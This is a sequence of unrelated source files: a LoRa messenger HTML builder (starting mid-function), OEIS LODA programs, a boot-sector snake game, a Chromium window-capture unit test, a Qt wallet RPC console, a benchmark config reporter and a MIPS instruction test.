0; }" "label { color: #333; display: block; font-style: italic; font-weight: bold; }" "nav { background: #0061ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }" "nav b { display: block; font-size: 1.2em; margin-bottom: 0.5em; } " "textarea { width: 100%; }</style></head>" "<body><nav><b>LoRaMessenger</b></nav>" "<div> <form action=/rename method=post><br /><label>Node name</label>" "<textarea name=nodename rows=1>" + String(node_name) + "</textarea><br /><input type=submit value=Update></form>" "</div> <hr> <div><label>Online</label> <ul style=list-style: none;>" + L3_getStringNodeList() + "</ul> </div> <hr> <div><label>Messages</label> <ul style=list-style: none;>" + message_getStringMessageList() + "</ul> </div> <div> <form action=/refresh method=post><input type=submit value=Refresh></form> </div> <hr>" "<div> <form action=/send method=post><br /><label>Recipient</label><textarea name=message rows=1>" + String(recipient) + "</textarea><br /><label>Send new message</label>" "<textarea name=message></textarea><br /><input type=submit value=Send></form> </div> </html>"; return html; }
; A061082: a(n) = A053061(n)/n. ; 11,12,13,104,105,106,107,108,109,1010,1011,1012,1013,1014,1015,1016,1017,1018,1019,1020,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,10032,10033,10034,10035,10036,10037,10038,10039,10040,10041,10042 mov $2,$0 add $2,1 mov $4,$0 lpb $2,1 mov $0,$4 sub $2,1 sub $0,$2 mov $7,2 mov $8,$0 lpb $7,1 mov $0,$8 sub $7,1 add $0,$7 pow $0,2 mov $6,2 lpb $0,1 div $0,10 mul $6,10 lpe mov $3,$6 mov $5,$7 lpb $5,1 sub $5,1 mov $9,$3 lpe lpe lpb $8,1 mov $8,0 sub $9,$3 lpe mov $3,$9 div $3,20 mul $3,10 add $3,1 add $1,$3 lpe
#include <iostream> #include <cstdio> #include <vector> #include <string> #include <cstring> #include <cmath> #include <sstream> #include <algorithm> using namespace std; class Solution { public: bool checkPerfectNumber(int num) { if (Facsum(num)-num == num) return true; return false; } int Facsum(int n) { int res = 1; for(int i=2;i*i<=n;i++) { if(n%i==0) { int cnt = 1; do { n /= i; cnt *= i; }while(n%i==0); res = res*(cnt*i-1)/(i-1); } } if(n > 1) res *= (n+1); return res; } }; int main() { Solution sol = Solution(); cout << sol.checkPerfectNumber(28) << endl; cout << sol.checkPerfectNumber(2) << endl; return 0; }
mov ax, 0x07C0 mov ds, ax ; set DS to the point where code is loaded mov ah, 0x01 mov cx, 0x2000 int 0x10 ; clear cursor blinking mov ax, 0x0305 mov bx, 0x031F int 0x16 ; increase delay before keybort repeat game_loop: call clear_screen ; clear the screen push word [snake_pos] ; save snake head position for later mov ah, 0x01 ; check if key available int 0x16 jz done_clear ; if not, move on mov ah, 0x00 ; if the was a key, remove it from buffer int 0x16 jmp update_snakepos done_clear: mov al, [last_move] ; no keys, so we use the last one update_snakepos: cmp al, 'a' je left cmp al, 's' je down cmp al, 'd' je right cmp al, 'w' jne done_clear up: dec byte [snake_y_pos] jmp move_done ; jump away left: dec byte [snake_x_pos] jmp move_done ; jump away right: inc byte [snake_x_pos] jmp move_done ; jump away down: inc word [snake_y_pos] move_done: mov [last_move], al ; save the direction mov si, snake_body_pos ; prepare body shift pop ax ; restore read position into ax for body shift update_body: mov bx, [si] ; get element of body into bx test bx, bx ; check if zero (not a part of the body) jz done_update ; if zero, done. Otherwise mov [si], ax ; move the data from ax, into current position add si, 2 ; increment pointer by two bytes mov ax, bx ; save bx into ax for next loop jmp update_body ; loop done_update: cmp byte [grow_snake_flag], 1 ; snake should grow? jne add_zero_snake ; if not: jump to add_zero_snake mov word [si], ax ; save the last element at the next position mov byte [grow_snake_flag], 0 ; disable grow_snake_flag add si, 2 ; increment si by 2 add_zero_snake: mov word [si], 0x0000 print_stuff: xor dx, dx ; set pos to 0x0000 call move_cursor ; move cursor mov si, score_msg ; prepare to print score string call print_string ; print it mov ax, [score] ; move the score into ax call print_int ; print it mov dx, [food_pos] ; set dx to the food position call move_cursor ; move cursor there mov al, '*' ; use '*' as food symbol call print_char ; print food mov dx, [snake_pos] ; set dx to the snake head position call move_cursor ; move there mov al, '@' ; use '@' as snake head symbol call print_char ; print it mov si, snake_body_pos ; prepare to print snake body snake_body_print_loop: lodsw ; load position from the body, and increment si test ax, ax ; check if position is zero jz check_collisions ; if it was zero, move out of here mov dx, ax ; if not, move the position into dx call move_cursor ; move the cursor there mov al, 'o' ; use 'o' as the snake body symbol call print_char ; print it jmp snake_body_print_loop ; loop check_collisions: mov bx, [snake_pos] ; move the snake head position into bx cmp bh, 25 ; check if we are too far down jge game_over_hit_wall ; if yes, jump cmp bh, 0 ; check if we are too far up jl game_over_hit_wall ; if yes, jump cmp bl, 80 ; check if we are too far to the right jge game_over_hit_wall ; if yes, jump cmp bl, 0 ; check if we are too far to the left jl game_over_hit_wall ; if yes, jump mov si, snake_body_pos ; prepare to check for self-collision check_collisions_self: lodsw ; load position of snake body, and increment si cmp ax, bx ; check if head position = body position je game_over_hit_self ; if it is, jump or ax, ax ; check if position is 0x0000 (we are done searching) jne check_collisions_self ; if not, loop no_collision: mov ax, [snake_pos] ; load snake head position into ax cmp ax, [food_pos] ; check if we are on the food jne game_loop_continued ; jump if snake didn't hit food inc word [score] ; if we were on food, increment score mov bx, 24 ; set max value for random call (y-val - 1) call rand ; generate random value push dx ; save it on the stack mov bx, 78 ; set max value for random call call rand ; generate random value pop cx ; restore old random into cx mov dh, cl ; move old value into high bits of new mov [food_pos], dx ; save the position of the new random food mov byte [grow_snake_flag], 1 ; make sure snake grows game_loop_continued: mov cx, 0x0002 ; Sleep for 0,15 seconds (cx:dx) mov dx, 0x49F0 ; 0x000249F0 = 150000 mov ah, 0x86 int 0x15 ; Sleep jmp game_loop ; loop game_over_hit_self: push self_msg jmp game_over game_over_hit_wall: push wall_msg game_over: call clear_screen mov si, hit_msg call print_string pop si call print_string mov si, retry_msg call print_string wait_for_r: mov ah, 0x00 int 0x16 cmp al, 'r' jne wait_for_r mov word [snake_pos], 0x0F0F and word [snake_body_pos], 0 and word [score], 0 mov byte [last_move], 'd' jmp game_loop ; SCREEN FUNCTIONS ------------------------------------------------------------ clear_screen: mov ax, 0x0700 ; clear entire window (ah 0x07, al 0x00) mov bh, 0x0C ; light red on black xor cx, cx ; top left = (0,0) mov dx, 0x1950 ; bottom right = (25, 80) int 0x10 xor dx, dx ; set dx to 0x0000 call move_cursor ; move cursor ret move_cursor: mov ah, 0x02 ; move to (dl, dh) xor bh, bh ; page 0 int 0x10 ret print_string_loop: call print_char print_string: ; print the string pointed to in si lodsb ; load next byte from si test al, al ; check if high bit is set (end of string) jns print_string_loop ; loop if high bit was not set print_char: ; print the char at al and al, 0x7F ; unset the high bit mov ah, 0x0E int 0x10 ret print_int: ; print the int in ax push bp ; save bp on the stack mov bp, sp ; set bp = stack pointer push_digits: xor dx, dx ; clear dx for division mov bx, 10 ; set bx to 10 div bx ; divide by 10 push dx ; store remainder on stack test ax, ax ; check if quotient is 0 jnz push_digits ; if not, loop pop_and_print_digits: pop ax ; get first digit from stack add al, '0' ; turn it into ascii digits call print_char ; print it cmp sp, bp ; is the stack pointer is at where we began? jne pop_and_print_digits ; if not, loop pop bp ; if yes, restore bp ret ; UTILITY FUNCTIONS ----------------------------------------------------------- rand: ; random number between 1 and bx. result in dx mov ah, 0x00 int 0x1A ; get clock ticks since midnight mov ax, dx ; move lower bits into ax for division xor dx, dx ; clear dx div bx ; divide ax by bx to get remainder in dx inc dx ret ; MESSAGES (Encoded as 7-bit strings. Last byte is an ascii value with its ; high bit set ---------------------------------------------------------------- retry_msg db '! press r to retr', 0xF9 ; y hit_msg db 'You hit', 0xA0 ; space self_msg db 'yoursel', 0xE6 ; f wall_msg db 'the wal', 0xEC ; l score_msg db 'Score:', 0xA0 ; space ; VARIABLES ------------------------------------------------------------------- grow_snake_flag db 0 food_pos dw 0x0D0D score dw 1 last_move db 'd' snake_pos: snake_x_pos db 0x0F snake_y_pos db 0x0F snake_body_pos dw 0x0000 ; PADDING AND BOOT SIGNATURE -------------------------------------------------- times 510-($-$$) db 0 db 0x55 db 0xAA
// Copyright (c) 2013 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "ui/wm/core/capture_controller.h" #include "base/logging.h" #include "ui/aura/env.h" #include "ui/aura/test/aura_test_base.h" #include "ui/aura/test/event_generator.h" #include "ui/aura/test/test_screen.h" #include "ui/aura/test/test_window_delegate.h" #include "ui/aura/window.h" #include "ui/aura/window_event_dispatcher.h" #include "ui/events/event.h" #include "ui/events/event_utils.h" #include "ui/views/test/views_test_base.h" #include "ui/views/view.h" #include "ui/views/widget/root_view.h" #include "ui/views/widget/widget.h" #if !defined(OS_CHROMEOS) #include "ui/views/widget/desktop_aura/desktop_native_widget_aura.h" #include "ui/views/widget/desktop_aura/desktop_screen_position_client.h" #endif namespace views { class CaptureControllerTest : public aura::test::AuraTestBase { public: CaptureControllerTest() {} virtual void SetUp() OVERRIDE { AuraTestBase::SetUp(); capture_controller_.reset(new wm::ScopedCaptureClient(root_window())); second_host_.reset(aura::WindowTreeHost::Create(gfx::Rect(0, 0, 800, 600))); second_host_->InitHost(); second_host_->window()->Show(); second_host_->SetBounds(gfx::Rect(800, 600)); second_capture_controller_.reset( new wm::ScopedCaptureClient(second_host_->window())); #if !defined(OS_CHROMEOS) desktop_position_client_.reset( new DesktopScreenPositionClient(root_window())); second_desktop_position_client_.reset( new DesktopScreenPositionClient(second_host_->window())); #endif } virtual void TearDown() OVERRIDE { RunAllPendingInMessageLoop(); #if !defined(OS_CHROMEOS) second_desktop_position_client_.reset(); #endif second_capture_controller_.reset(); // Kill any active compositors before we hit the compositor shutdown paths. second_host_.reset(); #if !defined(OS_CHROMEOS) desktop_position_client_.reset(); #endif capture_controller_.reset(); AuraTestBase::TearDown(); } aura::Window* GetCaptureWindow() { return capture_controller_->capture_client()->GetCaptureWindow(); } aura::Window* GetSecondCaptureWindow() { return second_capture_controller_->capture_client()->GetCaptureWindow(); } scoped_ptr<wm::ScopedCaptureClient> capture_controller_; scoped_ptr<aura::WindowTreeHost> second_host_; scoped_ptr<wm::ScopedCaptureClient> second_capture_controller_; #if !defined(OS_CHROMEOS) scoped_ptr<aura::client::ScreenPositionClient> desktop_position_client_; scoped_ptr<aura::client::ScreenPositionClient> second_desktop_position_client_; #endif DISALLOW_COPY_AND_ASSIGN(CaptureControllerTest); }; // Makes sure that internal details that are set on mouse down (such as // mouse_pressed_handler()) are cleared when another root window takes capture. TEST_F(CaptureControllerTest, ResetMouseEventHandlerOnCapture) { // Create a window inside the WindowEventDispatcher. scoped_ptr<aura::Window> w1(CreateNormalWindow(1, root_window(), NULL)); // Make a synthesized mouse down event. Ensure that the WindowEventDispatcher // will dispatch further mouse events to |w1|. ui::MouseEvent mouse_pressed_event(ui::ET_MOUSE_PRESSED, gfx::Point(5, 5), gfx::Point(5, 5), 0, 0); DispatchEventUsingWindowDispatcher(&mouse_pressed_event); EXPECT_EQ(w1.get(), host()->dispatcher()->mouse_pressed_handler()); // Build a window in the second WindowEventDispatcher. scoped_ptr<aura::Window> w2( CreateNormalWindow(2, second_host_->window(), NULL)); // The act of having the second window take capture should clear out mouse // pressed handler in the first WindowEventDispatcher. w2->SetCapture(); EXPECT_EQ(NULL, host()->dispatcher()->mouse_pressed_handler()); } // Makes sure that when one window gets capture, it forces the release on the // other. This is needed has to be handled explicitly on Linux, and is a sanity // check on Windows. TEST_F(CaptureControllerTest, ResetOtherWindowCaptureOnCapture) { // Create a window inside the WindowEventDispatcher. scoped_ptr<aura::Window> w1(CreateNormalWindow(1, root_window(), NULL)); w1->SetCapture(); // Both capture clients should return the same capture window. EXPECT_EQ(w1.get(), GetCaptureWindow()); EXPECT_EQ(w1.get(), GetSecondCaptureWindow()); // Build a window in the second WindowEventDispatcher and give it capture. // Both capture clients should return the same capture window. scoped_ptr<aura::Window> w2( CreateNormalWindow(2, second_host_->window(), NULL)); w2->SetCapture(); EXPECT_EQ(w2.get(), GetCaptureWindow()); EXPECT_EQ(w2.get(), GetSecondCaptureWindow()); } // Verifies the touch target for the WindowEventDispatcher gets reset on // releasing capture. TEST_F(CaptureControllerTest, TouchTargetResetOnCaptureChange) { // Create a window inside the WindowEventDispatcher. scoped_ptr<aura::Window> w1(CreateNormalWindow(1, root_window(), NULL)); aura::test::EventGenerator event_generator1(root_window()); event_generator1.PressTouch(); w1->SetCapture(); // Both capture clients should return the same capture window. EXPECT_EQ(w1.get(), GetCaptureWindow()); EXPECT_EQ(w1.get(), GetSecondCaptureWindow()); // Build a window in the second WindowEventDispatcher and give it capture. // Both capture clients should return the same capture window. scoped_ptr<aura::Window> w2( CreateNormalWindow(2, second_host_->window(), NULL)); w2->SetCapture(); EXPECT_EQ(w2.get(), GetCaptureWindow()); EXPECT_EQ(w2.get(), GetSecondCaptureWindow()); // Release capture on the window. Releasing capture should reset the touch // target of the first WindowEventDispatcher (as it no longer contains the // capture target). w2->ReleaseCapture(); EXPECT_EQ(static_cast<aura::Window*>(NULL), GetCaptureWindow()); EXPECT_EQ(static_cast<aura::Window*>(NULL), GetSecondCaptureWindow()); ui::TouchEvent touch_event( ui::ET_TOUCH_PRESSED, gfx::Point(), 0, 0, ui::EventTimeForNow(), 1.0f, 1.0f, 1.0f, 1.0f); EXPECT_EQ(static_cast<ui::GestureConsumer*>(w2.get()), ui::GestureRecognizer::Get()->GetTouchLockedTarget(touch_event)); } } // namespace views
#include "rpcconsole.h" #include "ui_rpcconsole.h" #include "clientmodel.h" #include "guiutil.h" #include "rpcserver.h" #include "rpcclient.h" #include <QTime> #include <QThread> #include <QKeyEvent> #include <QUrl> #include <QScrollBar> #include <openssl/crypto.h> // TODO: add a scrollback limit, as there is currently none // TODO: make it possible to filter out categories (esp debug messages when implemented) // TODO: receive errors and debug messages through ClientModel const int CONSOLE_HISTORY = 50; const QSize ICON_SIZE(24, 24); const int INITIAL_TRAFFIC_GRAPH_MINS = 30; const struct { const char *url; const char *source; } ICON_MAPPING[] = { {"cmd-request", ":/icons/tx_input"}, {"cmd-reply", ":/icons/tx_output"}, {"cmd-error", ":/icons/tx_output"}, {"misc", ":/icons/tx_inout"}, {NULL, NULL} }; /* Object for executing console RPC commands in a separate thread. */ class RPCExecutor : public QObject { Q_OBJECT public slots: void start(); void request(const QString &command); signals: void reply(int category, const QString &command); }; #include "rpcconsole.moc" void RPCExecutor::start() { // Nothing to do } /** * Split shell command line into a list of arguments. Aims to emulate \c bash and friends. * * - Arguments are delimited with whitespace * - Extra whitespace at the beginning and end and between arguments will be ignored * - Text can be "double" or 'single' quoted * - The backslash \c \ is used as escape character * - Outside quotes, any character can be escaped * - Within double quotes, only escape \c " and backslashes before a \c " or another backslash * - Within single quotes, no escaping is possible and no special interpretation takes place * * @param[out] args Parsed arguments will be appended to this list * @param[in] strCommand Command line to split */ bool parseCommandLine(std::vector<std::string> &args, const std::string &strCommand) { enum CmdParseState { STATE_EATING_SPACES, STATE_ARGUMENT, STATE_SINGLEQUOTED, STATE_DOUBLEQUOTED, STATE_ESCAPE_OUTER, STATE_ESCAPE_DOUBLEQUOTED } state = STATE_EATING_SPACES; std::string curarg; foreach(char ch, strCommand) { switch(state) { case STATE_ARGUMENT: // In or after argument case STATE_EATING_SPACES: // Handle runs of whitespace switch(ch) { case '"': state = STATE_DOUBLEQUOTED; break; case '\'': state = STATE_SINGLEQUOTED; break; case '\\': state = STATE_ESCAPE_OUTER; break; case ' ': case '\n': case '\t': if(state == STATE_ARGUMENT) // Space ends argument { args.push_back(curarg); curarg.clear(); } state = STATE_EATING_SPACES; break; default: curarg += ch; state = STATE_ARGUMENT; } break; case STATE_SINGLEQUOTED: // Single-quoted string switch(ch) { case '\'': state = STATE_ARGUMENT; break; default: curarg += ch; } break; case STATE_DOUBLEQUOTED: // Double-quoted string switch(ch) { case '"': state = STATE_ARGUMENT; break; case '\\': state = STATE_ESCAPE_DOUBLEQUOTED; break; default: curarg += ch; } break; case STATE_ESCAPE_OUTER: // '\' outside quotes curarg += ch; state = STATE_ARGUMENT; break; case STATE_ESCAPE_DOUBLEQUOTED: // '\' in double-quoted text if(ch != '"' && ch != '\\') curarg += '\\'; // keep '\' for everything but the quote and '\' itself curarg += ch; state = STATE_DOUBLEQUOTED; break; } } switch(state) // final state { case STATE_EATING_SPACES: return true; case STATE_ARGUMENT: args.push_back(curarg); return true; default: // ERROR to end in one of the other states return false; } } void RPCExecutor::request(const QString &command) { std::vector<std::string> args; if(!parseCommandLine(args, command.toStdString())) { emit reply(RPCConsole::CMD_ERROR, QString("Parse error: unbalanced ' or \"")); return; } if(args.empty()) return; // Nothing to do try { std::string strPrint; // Convert argument list to JSON objects in method-dependent way, // and pass it along with the method name to the dispatcher. json_spirit::Value result = tableRPC.execute( args[0], RPCConvertValues(args[0], std::vector<std::string>(args.begin() + 1, args.end()))); // Format result reply if (result.type() == json_spirit::null_type) strPrint = ""; else if (result.type() == json_spirit::str_type) strPrint = result.get_str(); else strPrint = write_string(result, true); emit reply(RPCConsole::CMD_REPLY, QString::fromStdString(strPrint)); } catch (json_spirit::Object& objError) { try // Nice formatting for standard-format error { int code = find_value(objError, "code").get_int(); std::string message = find_value(objError, "message").get_str(); emit reply(RPCConsole::CMD_ERROR, QString::fromStdString(message) + " (code " + QString::number(code) + ")"); } catch(std::runtime_error &) // raised when converting to invalid type, i.e. missing code or message { // Show raw JSON object emit reply(RPCConsole::CMD_ERROR, QString::fromStdString(write_string(json_spirit::Value(objError), false))); } } catch (std::exception& e) { emit reply(RPCConsole::CMD_ERROR, QString("Error: ") + QString::fromStdString(e.what())); } } RPCConsole::RPCConsole(QWidget *parent) : QDialog(parent), ui(new Ui::RPCConsole), historyPtr(0) { ui->setupUi(this); #ifndef Q_OS_MAC ui->openDebugLogfileButton->setIcon(QIcon(":/icons/export")); ui->showCLOptionsButton->setIcon(QIcon(":/icons/options")); #endif // Install event filter for up and down arrow ui->lineEdit->installEventFilter(this); ui->messagesWidget->installEventFilter(this); connect(ui->clearButton, SIGNAL(clicked()), this, SLOT(clear())); // set OpenSSL version label ui->openSSLVersion->setText(SSLeay_version(SSLEAY_VERSION)); startExecutor(); setTrafficGraphRange(INITIAL_TRAFFIC_GRAPH_MINS); clear(); } RPCConsole::~RPCConsole() { emit stopExecutor(); delete ui; } bool RPCConsole::eventFilter(QObject* obj, QEvent *event) { if(event->type() == QEvent::KeyPress) // Special key handling { QKeyEvent *keyevt = static_cast<QKeyEvent*>(event); int key = keyevt->key(); Qt::KeyboardModifiers mod = keyevt->modifiers(); switch(key) { case Qt::Key_Up: if(obj == ui->lineEdit) { browseHistory(-1); return true; } break; case Qt::Key_Down: if(obj == ui->lineEdit) { browseHistory(1); return true; } break; case Qt::Key_PageUp: /* pass paging keys to messages widget */ case Qt::Key_PageDown: if(obj == ui->lineEdit) { QApplication::postEvent(ui->messagesWidget, new QKeyEvent(*keyevt)); return true; } break; default: // Typing in messages widget brings focus to line edit, and redirects key there // Exclude most combinations and keys that emit no text, except paste shortcuts if(obj == ui->messagesWidget && ( (!mod && !keyevt->text().isEmpty() && key != Qt::Key_Tab) || ((mod & Qt::ControlModifier) && key == Qt::Key_V) || ((mod & Qt::ShiftModifier) && key == Qt::Key_Insert))) { ui->lineEdit->setFocus(); QApplication::postEvent(ui->lineEdit, new QKeyEvent(*keyevt)); return true; } } } return QDialog::eventFilter(obj, event); } void RPCConsole::setClientModel(ClientModel *model) { clientModel = model; ui->trafficGraph->setClientModel(model); if(model) { // Subscribe to information, replies, messages, errors connect(model, SIGNAL(numConnectionsChanged(int)), this, SLOT(setNumConnections(int))); setNumBlocks(model->getNumBlocks()); connect(model, SIGNAL(numBlocksChanged(int)), this, SLOT(setNumBlocks(int))); updateTrafficStats(model->getTotalBytesRecv(), model->getTotalBytesSent()); connect(model, SIGNAL(bytesChanged(quint64,quint64)), this, SLOT(updateTrafficStats(quint64, quint64))); // Provide initial values ui->clientVersion->setText(model->formatFullVersion()); ui->clientName->setText(model->clientName()); ui->buildDate->setText(model->formatBuildDate()); ui->startupTime->setText(model->formatClientStartupTime()); setNumConnections(model->getNumConnections()); ui->isTestNet->setChecked(model->isTestNet()); } } static QString categoryClass(int category) { switch(category) { case RPCConsole::CMD_REQUEST: return "cmd-request"; break; case RPCConsole::CMD_REPLY: return "cmd-reply"; break; case RPCConsole::CMD_ERROR: return "cmd-error"; break; default: return "misc"; } } void RPCConsole::clear() { ui->messagesWidget->clear(); history.clear(); historyPtr = 0; ui->lineEdit->clear(); ui->lineEdit->setFocus(); // Add smoothly scaled icon images. // (when using width/height on an img, Qt uses nearest instead of linear interpolation) for(int i=0; ICON_MAPPING[i].url; ++i) { ui->messagesWidget->document()->addResource( QTextDocument::ImageResource, QUrl(ICON_MAPPING[i].url), QImage(ICON_MAPPING[i].source).scaled(ICON_SIZE, Qt::IgnoreAspectRatio, Qt::SmoothTransformation)); } // Set default style sheet ui->messagesWidget->document()->setDefaultStyleSheet( "table { }" "td.time { color: #808080; padding-top: 3px; } " "td.message { font-family: Monospace; font-size: 12px; } " "td.cmd-request { color: #00C0C0; } " "td.cmd-error { color: red; } " "b { color: #00C0C0; } " ); message(CMD_REPLY, (tr("Welcome to the Inclusivefinancesyscoin RPC console.") + "<br>" + tr("Use up and down arrows to navigate history, and <b>Ctrl-L</b> to clear screen.") + "<br>" + tr("Type <b>help</b> for an overview of available commands.")), true); } void RPCConsole::message(int category, const QString &message, bool html) { QTime time = QTime::currentTime(); QString timeString = time.toString(); QString out; out += "<table><tr><td class=\"time\" width=\"65\">" + timeString + "</td>"; out += "<td class=\"icon\" width=\"32\"><img src=\"" + categoryClass(category) + "\"></td>"; out += "<td class=\"message " + categoryClass(category) + "\" valign=\"middle\">"; if(html) out += message; else out += GUIUtil::HtmlEscape(message, true); out += "</td></tr></table>"; ui->messagesWidget->append(out); } void RPCConsole::setNumConnections(int count) { ui->numberOfConnections->setText(QString::number(count)); } void RPCConsole::setNumBlocks(int count) { ui->numberOfBlocks->setText(QString::number(count)); if(clientModel) ui->lastBlockTime->setText(clientModel->getLastBlockDate().toString()); } void RPCConsole::on_lineEdit_returnPressed() { QString cmd = ui->lineEdit->text(); ui->lineEdit->clear(); if(!cmd.isEmpty()) { message(CMD_REQUEST, cmd); emit cmdRequest(cmd); // Remove command, if already in history history.removeOne(cmd); // Append command to history history.append(cmd); // Enforce maximum history size while(history.size() > CONSOLE_HISTORY) history.removeFirst(); // Set pointer to end of history historyPtr = history.size(); // Scroll console view to end scrollToEnd(); } } void RPCConsole::browseHistory(int offset) { historyPtr += offset; if(historyPtr < 0) historyPtr = 0; if(historyPtr > history.size()) historyPtr = history.size(); QString cmd; if(historyPtr < history.size()) cmd = history.at(historyPtr); ui->lineEdit->setText(cmd); } void RPCConsole::startExecutor() { QThread* thread = new QThread; RPCExecutor *executor = new RPCExecutor(); executor->moveToThread(thread); // Notify executor when thread started (in executor thread) connect(thread, SIGNAL(started()), executor, SLOT(start())); // Replies from executor object must go to this object connect(executor, SIGNAL(reply(int,QString)), this, SLOT(message(int,QString))); // Requests from this object must go to executor connect(this, SIGNAL(cmdRequest(QString)), executor, SLOT(request(QString))); // On stopExecutor signal // - queue executor for deletion (in execution thread) // - quit the Qt event loop in the execution thread connect(this, SIGNAL(stopExecutor()), executor, SLOT(deleteLater())); connect(this, SIGNAL(stopExecutor()), thread, SLOT(quit())); // Queue the thread for deletion (in this thread) when it is finished connect(thread, SIGNAL(finished()), thread, SLOT(deleteLater())); // Default implementation of QThread::run() simply spins up an event loop in the thread, // which is what we want. thread->start(); } void RPCConsole::on_tabWidget_currentChanged(int index) { if(ui->tabWidget->widget(index) == ui->tab_console) { ui->lineEdit->setFocus(); } } void RPCConsole::on_openDebugLogfileButton_clicked() { GUIUtil::openDebugLogfile(); } void RPCConsole::scrollToEnd() { QScrollBar *scrollbar = ui->messagesWidget->verticalScrollBar(); scrollbar->setValue(scrollbar->maximum()); } void RPCConsole::on_showCLOptionsButton_clicked() { GUIUtil::HelpMessageBox help; help.exec(); } void RPCConsole::on_sldGraphRange_valueChanged(int value) { const int multiplier = 5; // each position on the slider represents 5 min int mins = value * multiplier; setTrafficGraphRange(mins); } QString RPCConsole::FormatBytes(quint64 bytes) { if(bytes < 1024) return QString(tr("%1 B")).arg(bytes); if(bytes < 1024 * 1024) return QString(tr("%1 KB")).arg(bytes / 1024); if(bytes < 1024 * 1024 * 1024) return QString(tr("%1 MB")).arg(bytes / 1024 / 1024); return QString(tr("%1 GB")).arg(bytes / 1024 / 1024 / 1024); } void RPCConsole::setTrafficGraphRange(int mins) { ui->trafficGraph->setGraphRangeMins(mins); if(mins < 60) { ui->lblGraphRange->setText(QString(tr("%1 m")).arg(mins)); } else { int hours = mins / 60; int minsLeft = mins % 60; if(minsLeft == 0) { ui->lblGraphRange->setText(QString(tr("%1 h")).arg(hours)); } else { ui->lblGraphRange->setText(QString(tr("%1 h %2 m")).arg(hours).arg(minsLeft)); } } } void RPCConsole::updateTrafficStats(quint64 totalBytesIn, quint64 totalBytesOut) { ui->lblBytesIn->setText(FormatBytes(totalBytesIn)); ui->lblBytesOut->setText(FormatBytes(totalBytesOut)); } void RPCConsole::on_btnClearTrafficGraph_clicked() { ui->trafficGraph->clear(); }
//+------------------------------------------------------------------------ // // Microsoft Windows // Copyright (C) Microsoft Corporation, 1993. // // File: bmconfig.cxx // // Contents: configuration inquiry and reporting // // Classes: // // Functions: ReportBMConfig // // History: 2-July-93 t-martig Created // //-------------------------------------------------------------------------- #include <benchmrk.hxx> #include <bmdriver.hxx> //+------------------------------------------------------------------- // // Function: ReportBMConfig // // Synopsis: Writes the current system / hardware configuration // to a specified output class // // Parameters: [lpswzConfigFile] Name and path of .ini file // [output] Output class // // History: 2-July-93 t-martig Created // //-------------------------------------------------------------------- void ReportBMConfig (CTestInput &input, CTestOutput &output) { TCHAR cname[MAX_COMPUTERNAME_LENGTH+1]; SYSTEM_INFO sinf; TCHAR *temp; DWORD dwSize = MAX_COMPUTERNAME_LENGTH+1; GetComputerName (cname, &dwSize); output.WriteTextString (cname); output.WriteString (TEXT("\t")); output.WriteConfigEntry (input, TEXT("Config"), TEXT("Mfg"), TEXT("n/a")); GetSystemInfo (&sinf); switch (sinf.dwProcessorType) { case 386: temp = TEXT("i386"); break; case 486: temp = TEXT("i486"); break; case 860: temp = TEXT("i860"); break; case 2000: temp = TEXT("R2000"); break; case 3000: temp = TEXT("R3000"); break; case 4000: temp = TEXT("R4000"); break; default: temp = TEXT("Unknown"); break; } output.WriteString (TEXT("\t")); output.WriteConfigEntry (input, TEXT("Config"), TEXT("CPU"), temp); output.WriteString (TEXT("\t")); output.WriteConfigEntry (input, TEXT("Config"), TEXT("RAM"), TEXT("n/a")); output.WriteString (TEXT("\t")); output.WriteConfigEntry (input, TEXT("Config"), TEXT("OS"), TEXT("Cairo")); output.WriteString (TEXT("\t")); output.WriteConfigEntry (input, TEXT("Driver"), TEXT("InitFlag"), TEXT("COINIT_MULTITHREADED")); output.WriteString (TEXT("\n\t\t\t\t")); output.WriteString (TEXT("All times in microseconds\n")); // NtQuerySystemInformation }
; A022312: a(n) = a(n-1) + a(n-2) + 1 for n>1, a(0)=0, a(1)=7. ; 0,7,8,16,25,42,68,111,180,292,473,766,1240,2007,3248,5256,8505,13762,22268,36031,58300,94332,152633,246966,399600,646567,1046168,1692736,2738905,4431642,7170548,11602191,18772740,30374932,49147673,79522606,128670280,208192887,336863168,545056056,881919225,1426975282,2308894508,3735869791,6044764300,9780634092,15825398393,25606032486,41431430880,67037463367,108468894248,175506357616,283975251865,459481609482,743456861348,1202938470831,1946395332180,3149333803012,5095729135193,8245062938206,13340792073400,21585855011607,34926647085008,56512502096616,91439149181625,147951651278242,239390800459868,387342451738111,626733252197980,1014075703936092,1640808956134073,2654884660070166,4295693616204240,6950578276274407 mov $1,1 mov $3,8 lpb $0,1 sub $0,1 mov $2,$1 mov $1,$3 add $3,$2 lpe sub $1,1
############################################################################### # File : sltu.asm # Project : MIPS32 MUX # Author: : Grant Ayers (ayers@cs.stanford.edu) # # Standards/Formatting: # MIPS gas, soft tab, 80 column # # Description: # Test the functionality of the 'sltu' instruction. # ############################################################################### .section .test, "x" .balign 4 .set noreorder .global test .ent test test: lui $s0, 0xbfff # Load the base address 0xbffffff0 ori $s0, 0xfff0 ori $s1, $0, 1 # Prepare the 'done' status #### Test code start #### lui $t0, 0xffff ori $t0, 0xffff sltu $v0, $s1, $t0 #### Test code end #### sw $v0, 8($s0) # Set the test result sw $s1, 4($s0) # Set 'done' $done: jr $ra nop .end test
; A118294: Start with 19 and repeatedly reverse the digits and add 1 to get the next term. ; 19,92,30,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9 mov $2,$0 mov $0,19 lpb $2 seq $0,4086 ; Read n backwards (referred to as R(n) in many sequences). add $0,1 sub $2,1 lpe
